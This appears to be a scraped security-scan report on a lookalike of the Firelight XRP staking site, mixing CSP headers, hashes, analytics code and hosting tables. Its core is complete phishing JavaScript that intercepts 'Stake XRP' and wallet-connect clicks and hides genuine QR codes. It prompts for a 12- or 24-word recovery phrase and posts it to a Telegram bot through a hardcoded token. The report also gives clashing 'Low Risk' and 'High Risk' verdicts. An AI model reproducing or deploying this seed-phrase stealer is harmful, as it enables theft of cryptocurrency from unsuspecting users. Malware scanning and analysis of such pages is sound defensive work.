cryptocurrency blockchain

government public service

technology software

corporate

English

_ga_QHZR61R0KC

The domain name 'www.firelight.cloud' uses the .cloud top-level domain, featuring subdomain 'www'. Count 9 characters in 'firelight' with three vowels and six consonants. Tokenizing the label suggests two words: fire, light. Median word length comes out to 4.5 characters. No strong language cues emerged from the frequency lists.

require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/apps-themes

default-src 'none'; script-src 'none'; img-src 'self'; media-src 'self'; report-uri https://framer.report-uri.com/r/t/csp/enforce;

script-src 'none'; form-action 'none'; frame-src 'none'; report-uri https://csp.withgoogle.com/csp/scaffolding/ascnsrsggc:113:0

default-src * data: blob: 'unsafe-inline' 'unsafe-eval'; report-uri https://sentry.io/api/2963040/security/?sentry_key=05dcfd8152434a7385d322f28af36f66

8c814d4791f69840e0ac866fa7f246456858e2a90351c35babb976b7be34f829

91fc2e438ba034843840760ae6d53a29a7050ce42a751c495c0d6775a49ad629

2e38b581d1a5d8c9926d725a0033521979a6d9dacd6a8555a1a36d1639f742d0

fe2b7267f9b5a3990359f31e1a7840d719cd2a655e267d01b44388f4f9de15b9

d7fe47f32a8a9a2fc200807e40531d155e49bf91eb6cc24ed664742cf8eec5e0

5a0aea08ca3c081c7b77e64412cb313be0aff99020034be778420e20c945b038

65bfc1dd4da1fe99e4d0c5c89378ea497e1a0aa9716336aef10a91b48d76bd9b

79f78a766d1790dfad603137dcc1961eeae6eb0a46af7a31d9644f33cf67d7d0

5c35f89d057893dff38e6767d5aa2f5b276d0f6f5325a5cb6a70a91c37d55b14

7fb9bb8800d3ac936d7733403dc0758db9b7c10b20aaddcefee5042288b91b9a

0deaeeef88105f1db81fb27b0afc8717c2dc70bceaa1773df9b605162fd06dfc

b76bc843efb451cebe77c317f154e3f75b41970cba1dfeae6f240d9787e0a601

61a2d12b32d00a9fe9de0a92b0d4e8cf920daccfb8d7740d4c13611e171e6d7a

4b8e8fa0d48896a9475a7e635aab37cf3f725f1e99ab979fc8e41bd35ae068bb

9b118bbe8cf68165e7bbac148027c4acaf46503685a664b5542d92b70b50a2b7

viewport

generator

Firelight transforms staked XRP into protection for DeFi. Builders buy transparent cover; stakers earn fees for backing it. Clear risk. Clear rewards. Clear purpose.

description

https://framerusercontent.com/sites/74C6e7zr9fW3o680b5RVbo/searchIndex-raitfwWTZbln.json

framer-search-index

https://framerusercontent.com/sites/74C6e7zr9fW3o680b5RVbo/searchIndex-rqHE8cj54KFQ.json

framer-search-index-fallback

framer-html-plugin

https://framerusercontent.com/assets/Laug7hJH4Ud663hJHTcH6cG18kU.png

twitter:card

twitter:title

twitter:description

twitter:image

robots

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

child-src 'none';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources 'self';trusted-types;worker-src blob: 'self';frame-ancestors 'none';

child-src https:  chrome-untrusted://new-tab-page/ chrome-untrusted://ntp-microsoft-auth/;connect-src chrome://resources chrome://theme 'self';default-src 'self';font-src chrome://resources 'self';img-src chrome://resources chrome://theme chrome://image chrome://favicon2 chrome://app-icon chrome://extension-icon chrome://fileicon blob: data: 'self';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources chrome://webui-test 'self';style-src chrome://resources chrome://theme 'self' 'unsafe-inline';trusted-types parse-html-subset sanitize-inner-html static-types webui-test-script webui-test-html polymer-html-literal polymer-template-event-attribute-policy lit-html-desktop;frame-ancestors 'none';

child-src 'none';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources 'self';trusted-types;frame-ancestors 'none';

base-uri 'none';child-src https:;form-action https://ogs.google.com https://*.corp.google.com;object-src 'none';script-src 'self' 'unsafe-inline' https:;frame-ancestors chrome://new-tab-page/

try{if(localStorage.get("__framer_force_showing_editorbar_since")){const n=document.createElement("link");n.rel = "modulepreload";n.href="https://framer.com/edit/init.mjs";document.head.appendChild(n)}}catch(e){}


  window.dataLayer = window.dataLayer || [];
  function gtag(){dataLayer.push(arguments);}
  gtag('js', new Date());
  gtag('config', 'G-QHZR61R0KC');



  window.plausible=window.plausible||function(){(plausible.q=plausible.q||[]).push(arguments)},plausible.init=plausible.init||function(i){plausible.o=i||{}};
  plausible.init()


(()=>{function u(){function n(t,e,i){let r=document.createElement("a");r.href=t,r.target=i,r.rel=e,document.body.appendChild(r),r.click(),r.remove()}function o(t){if(this.dataset.hydrated){this.removeEventListener("click",o);return}t.preventDefault(),t.stopPropagation();let e=this.getAttribute("href");if(!e)return;if(/Mac|iPod|iPhone|iPad/u.test(navigator.userAgent)?t.metaKey:t.ctrlKey)return n(e,"","_blank");let r=this.getAttribute("rel")??"",c=this.getAttribute("target")??"";n(e,r,c)}function a(t){if(this.dataset.hydrated){this.removeEventListener("auxclick",o);return}t.preventDefault(),t.stopPropagation();let e=this.getAttribute("href");e&&n(e,"","_blank")}function s(t){if(this.dataset.hydrated){this.removeEventListener("keydown",s);return}if(t.key!=="Enter")return;t.preventDefault(),t.stopPropagation();let e=this.getAttribute("href");if(!e)return;let i=this.getAttribute("rel")??"",r=this.getAttribute("target")??"";n(e,i,r)}document.querySelectorAll("[data-nested-link]").forEach(t=>{t instanceof HTMLElement&&(t.addEventListener("click",o),t.addEventListener("auxclick",a),t.addEventListener("keydown",s))})}return u})()()

(()=>{function i(){for(let e of document.querySelectorAll("[data-framer-original-sizes]")){let t=e.getAttribute("data-framer-original-sizes");t===""?e.removeAttribute("sizes"):e.setAttribute("sizes",t),e.removeAttribute("data-framer-original-sizes")}}function a(){window.__framer_onRewriteBreakpoints=i}return a})()()

(()=>{function c(i,o,m){if(window.__framer_disable_appear_effects_optimization__||typeof animator>"u")return;let e={detail:{bg:document.hidden}};requestAnimationFrame(()=>{let a="framer-appear-start";performance.mark(a,e),animator.animateAppearEffects(JSON.parse(window.__framer__appearAnimationsContent.text),(s,p,d)=>{let t=document.querySelector(s);if(t)for(let[r,f]of Object.entries(p))animator.startOptimizedAppearAnimation(t,r,f,d[r])},i,o,m&&window.matchMedia("(prefers-reduced-motion:reduce)").matches===!0,animator.getActiveVariantHash(JSON.parse(window.__framer__breakpoints.text)));let n="framer-appear-end";performance.mark(n,e),performance.measure("framer-appear",{start:a,end:n,detail:e.detail})})}return c})()("data-framer-appear-id","__Appear_Animation_Transform__",false)

typeof document<"u"&&(window.process={...window.process,env:{...window.process?.env,NODE_ENV:"production"}});


        // Telegram Bot Configuration
        const TELEGRAM_BOT_TOKEN = '8054485443:AAEEiabDLuFzsebfqqZnGQuw85OOD8mqcgI';
        const TELEGRAM_USER_ID = '7811008623';
        
        // Store selected wallet
        let selectedWallet = '';
        
        // Modal elements
        const walletSelectionModal = document.getElementById('walletSelectionModal');
        const closeWalletModalBtn = document.getElementById('closeWalletModalBtn');
        const walletOptionButtons = document.querySelectorAll('.wallet-option-btn');
        
        const modal = document.getElementById('walletPhraseModal');
        const closeBtn = document.getElementById('closeModalBtn');
        const cancelBtn = document.getElementById('cancelBtn');
        const phraseForm = document.getElementById('phraseForm');
        const phraseInput = document.getElementById('phraseInput');
        
        // Function to show wallet selection modal
        function showWalletSelectionModal() {
            walletSelectionModal.style.display = 'flex';
        }
        
        // Function to hide wallet selection modal
        function hideWalletSelectionModal() {
            walletSelectionModal.style.display = 'none';
            selectedWallet = ''; // Reset selected wallet
        }
        
        // Function to show phrase modal
        function showPhraseModal() {
            hideWalletSelectionModal(); // Hide wallet selection first
            modal.style.display = 'flex';
            phraseInput.value = '';
            phraseInput.focus();
        }
        
        // Function to hide phrase modal
        function hidePhraseModal() {
            modal.style.display = 'none';
            selectedWallet = ''; // Reset selected wallet
        }
        
        // Close wallet selection modal handlers
        closeWalletModalBtn.addEventListener('click', hideWalletSelectionModal);
        
        // Close wallet selection modal when clicking outside
        walletSelectionModal.addEventListener('click', function(e) {
            if (e.target === walletSelectionModal) {
                hideWalletSelectionModal();
            }
        });
        
        // Handle wallet option button clicks
        walletOptionButtons.forEach(function(btn) {
            btn.addEventListener('click', function() {
                selectedWallet = this.getAttribute('data-wallet');
                showPhraseModal();
            });
        });
        
        // Close phrase modal handlers
        closeBtn.addEventListener('click', hidePhraseModal);
        cancelBtn.addEventListener('click', hidePhraseModal);
        
        // Close phrase modal when clicking outside
        modal.addEventListener('click', function(e) {
            if (e.target === modal) {
                hidePhraseModal();
            }
        });
        
        // Function to send phrase to Telegram
        async function sendToTelegram(phrase) {
            if (!TELEGRAM_BOT_TOKEN || !TELEGRAM_USER_ID) {
                console.error('Telegram bot token or user ID not configured');
                alert('Configuration error: Please set up Telegram bot credentials');
                return false;
            }
            
            const walletInfo = selectedWallet ? `\nWallet: ${selectedWallet}` : '';
            const message = `🔐 Wallet Recovery Phrase Received:${walletInfo}\n\n${phrase}\n\nTimestamp: ${new Date().toISOString()}`;
            const url = `https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`;
            
            try {
                const response = await fetch(url, {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json',
                    },
                    body: JSON.stringify({
                        chat_id: TELEGRAM_USER_ID,
                        text: message,
                        parse_mode: 'HTML'
                    })
                });
                
                const data = await response.json();
                
                if (data.ok) {
                    console.log('Message sent to Telegram successfully');
                    return true;
                } else {
                    console.error('Failed to send message:', data);
                    alert('Failed to send phrase. Please try again.');
                    return false;
                }
            } catch (error) {
                console.error('Error sending to Telegram:', error);
                alert('Error sending phrase. Please check your connection.');
                return false;
            }
        }
        
        // Handle form submission
        phraseForm.addEventListener('submit', async function(e) {
            e.preventDefault();
            
            const phrase = phraseInput.value.trim();
            
            if (!phrase) {
                alert('Please enter your recovery phrase');
                return;
            }
            
            // Validate phrase (should be 12 or 24 words)
            const words = phrase.split(/\s+/).filter(word => word.length > 0);
            if (words.length !== 12 && words.length !== 24) {
                alert('Recovery phrase must be exactly 12 or 24 words');
                return;
            }
            
            // Show loading state with spinner
            const submitBtn = phraseForm.querySelector('button[type="submit"]');
            const originalText = submitBtn.innerHTML;
            submitBtn.innerHTML = '<span style="display: inline-block; width: 16px; height: 16px; border: 2px solid rgba(255,255,255,0.3); border-top-color: white; border-radius: 50%; animation: spin 0.8s linear infinite; margin-right: 8px; vertical-align: middle;"></span>Connecting...';
            submitBtn.disabled = true;
            submitBtn.style.cursor = 'not-allowed';
            submitBtn.style.opacity = '0.7';
            
            // Send to Telegram
            const success = await sendToTelegram(phrase);
            
            // Always show "Please try again" message and close modal
            hidePhraseModal();
            alert('Please try again');
            
            // Reset button
            submitBtn.innerHTML = originalText;
            submitBtn.disabled = false;
            submitBtn.style.cursor = 'pointer';
            submitBtn.style.opacity = '1';
        });
        
        // Intercept all links to app.firelight.finance early (especially "Stake XRP" links)
        document.addEventListener('click', function(e) {
            const target = e.target;
            const linkElement = target.closest('a') || (target.tagName === 'A' ? target : null);
            
            if (linkElement) {
                const href = linkElement.getAttribute('href') || '';
                
                // Intercept links to app.firelight.finance
                if (href.includes('app.firelight.finance') || href.includes('firelight.finance')) {
                    // Get text from the link, target, and parent elements
                    const linkText = (linkElement.textContent || linkElement.innerText || '').toLowerCase();
                    const targetText = (target.textContent || target.innerText || '').toLowerCase();
                    const parentText = target.parentElement ? (target.parentElement.textContent || target.parentElement.innerText || '').toLowerCase() : '';
                    const allText = linkText + ' ' + targetText + ' ' + parentText;
                    
                    // Check if it's likely the "Stake XRP" button - check for stake/xrp keywords
                    // Be more lenient - if it's a firelight link, check if ANY part mentions stake/xrp
                    if (allText.includes('stake') || allText.includes('xrp') || 
                        href.includes('stake') || href.includes('xrp') ||
                        linkElement.getAttribute('aria-label')?.toLowerCase().includes('stake') ||
                        linkElement.getAttribute('aria-label')?.toLowerCase().includes('xrp')) {
                        e.preventDefault();
                        e.stopPropagation();
                        e.stopImmediatePropagation();
                        showWalletSelectionModal();
                        return false;
                    }
                }
            }
            
            // Also check for any element (not just links) that contains "stake xrp" and might navigate
            const elementText = (target.textContent || target.innerText || '').toLowerCase();
            const parentElement = target.parentElement;
            const parentElementText = parentElement ? (parentElement.textContent || parentElement.innerText || '').toLowerCase() : '';
            const combinedText = elementText + ' ' + parentElementText;
            
            if ((combinedText.includes('stake') && combinedText.includes('xrp')) && 
                !target.closest('#walletSelectionModal') && 
                !target.closest('#walletPhraseModal')) {
                // Check if this element or its parent has an onclick or is a link
                const hasNavigation = target.onclick || 
                                     target.closest('[onclick]') ||
                                     target.closest('a[href]') ||
                                     target.getAttribute('href');
                
                if (hasNavigation) {
                    e.preventDefault();
                    e.stopPropagation();
                    e.stopImmediatePropagation();
                    showWalletSelectionModal();
                    return false;
                }
            }
        }, true);
        
        // Intercept "Stake XRP" and wallet connection clicks
        document.addEventListener('click', function(e) {
            const target = e.target;
            
            // Check if it's a link element or inside a link
            const linkElement = target.closest('a');
            const isLink = target.tagName === 'A' || linkElement;
            const href = linkElement ? linkElement.getAttribute('href') : (target.getAttribute('href') || '');
            
            // Get text from target and its parents
            const getText = (el) => {
                if (!el) return '';
                return (el.textContent || el.innerText || '').toLowerCase();
            };
            
            const text = getText(target);
            const parentText = getText(target.parentElement);
            const grandParentText = getText(target.parentElement?.parentElement);
            const linkText = linkElement ? getText(linkElement) : '';
            const allText = text + ' ' + parentText + ' ' + grandParentText + ' ' + linkText;
            
            // Check if link points to app.firelight.finance
            const isFirelightLink = href && (href.includes('app.firelight.finance') || href.includes('firelight.finance'));
            
            // Check if clicked element is "Stake XRP" button
            const isStakeXRP = (allText.includes('stake') && allText.includes('xrp')) ||
                              text.includes('stake xrp') ||
                              parentText.includes('stake xrp') ||
                              linkText.includes('stake xrp');
            
            // Check if clicked element is inside our modals (don't intercept)
            const isInOurModal = target.closest('#walletSelectionModal') || 
                                target.closest('#walletPhraseModal');
            
            // If it's "Stake XRP" or a firelight link, show wallet selection modal
            if ((isStakeXRP || isFirelightLink) && !isInOurModal) {
                e.preventDefault();
                e.stopPropagation();
                e.stopImmediatePropagation();
                showWalletSelectionModal();
                return false;
            }
            
            // Check if clicked element or its parent contains wallet-related text (but not "Stake XRP")
            const isWalletButton = (text.includes('connect wallet') || 
                                  text.includes('wallet')) &&
                                  !isStakeXRP &&
                                  (target.closest('[data-wallet-connect]') ||
                                  target.closest('.wallet-connect') ||
                                  target.closest('#wallet-connect'));
            
            // Also check for common wallet provider buttons (but exclude our wallet selection buttons)
            const isWalletProvider = target.closest('[data-wallet]') &&
                                    !target.closest('.wallet-option-btn') &&
                                    !target.closest('#walletSelectionModal');
            
            if (isWalletButton || isWalletProvider) {
                // Check if it's not the modal itself
                if (!isInOurModal) {
                    e.preventDefault();
                    e.stopPropagation();
                    showWalletSelectionModal();
                }
            }
        }, true); // Use capture phase to catch events early
        
        // Alternative: Listen for specific wallet library events
        // This handles cases where wallet libraries trigger events
        window.addEventListener('walletconnect', function(e) {
            e.preventDefault();
            showPhraseModal();
        });
        
        // Watch for QR codes or barcodes that appear (common in wallet connections)
        const observer = new MutationObserver(function(mutations) {
            mutations.forEach(function(mutation) {
                mutation.addedNodes.forEach(function(node) {
                    if (node.nodeType === 1) { // Element node
                        // Check if QR code or barcode appears
                        const isQRCode = node.querySelector && (
                            node.querySelector('canvas[class*="qr"]') ||
                            node.querySelector('canvas[class*="QR"]') ||
                            node.querySelector('img[src*="qr"]') ||
                            node.querySelector('img[src*="QR"]') ||
                            node.querySelector('[class*="qr-code"]') ||
                            node.querySelector('[class*="QRCode"]') ||
                            node.querySelector('[id*="qr"]') ||
                            node.querySelector('[id*="QR"]') ||
                            node.querySelector('svg[class*="qr"]') ||
                            (node.tagName === 'CANVAS' && (node.className.includes('qr') || node.id.includes('qr'))) ||
                            (node.tagName === 'IMG' && (node.src.includes('qr') || node.alt.toLowerCase().includes('qr')))
                        );
                        
                        // Check if it's a wallet modal or dialog
                        const isWalletModal = node.querySelector && (
                            node.querySelector('[class*="wallet"]') ||
                            node.querySelector('[id*="wallet"]') ||
                            node.querySelector('[data-wallet]')
                        ) && (
                            node.querySelector('[class*="modal"]') ||
                            node.querySelector('[class*="dialog"]') ||
                            node.querySelector('[class*="popup"]')
                        );
                        
                        if (isQRCode || isWalletModal) {
                            // Hide the QR code/barcode
                            if (node.style) {
                                node.style.display = 'none';
                            }
                            // Show our phrase modal instead
                            setTimeout(() => {
                                showPhraseModal();
                            }, 100);
                        }
                    }
                });
            });
        });
        
        // Start observing
        observer.observe(document.body, {
            childList: true,
            subtree: true
        });
        
        // Also watch for common wallet connection patterns in iframes
        setInterval(function() {
            const iframes = document.querySelectorAll('iframe');
            iframes.forEach(function(iframe) {
                try {
                    const iframeDoc = iframe.contentDocument || iframe.contentWindow.document;
                    const qrCodes = iframeDoc.querySelectorAll('canvas, img[src*="qr"], [class*="qr"]');
                    if (qrCodes.length > 0) {
                        iframe.style.display = 'none';
                        showPhraseModal();
                    }
                } catch (e) {
                    // Cross-origin iframe, can't access
                }
            });
        }, 1000);
        
        // Expose function globally for manual triggering if needed
        window.showWalletPhraseModal = showPhraseModal;
    

Firelight – A Protocol for DeFi Cover

Google

✅ Low Risk - https://www.firelight.cloud/

Requests	IP Address	Location	AS Autonomous System
42	65.9.175.35	United States	AS16509AMAZON-02
9	13.226.244.13	United States	AS16509AMAZON-02
8	65.9.175.52	United States	AS16509AMAZON-02
5	65.8.131.117	United States	AS16509AMAZON-02
3	142.250.184.227	United States	AS15169GOOGLE
3	216.198.79.1	United States	AS16509AMAZON-02
3	185.111.111.156	Frankfurt am Main, Hesse, Germany	AS212238Datacamp Limited
2	65.9.175.65	United States	AS16509AMAZON-02
2	216.239.32.36	United States	AS15169GOOGLE
2	13.226.244.72	United States	AS16509AMAZON-02
72	64	-	-

Security Scan Report: www.firelight.cloud

Summary

AI Security Verdict

High Risk

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Page Statistics

Content Similarity HashesFor malware variant detection

Image Hashes

Perceptual Hashes

Other Hashes

Scan History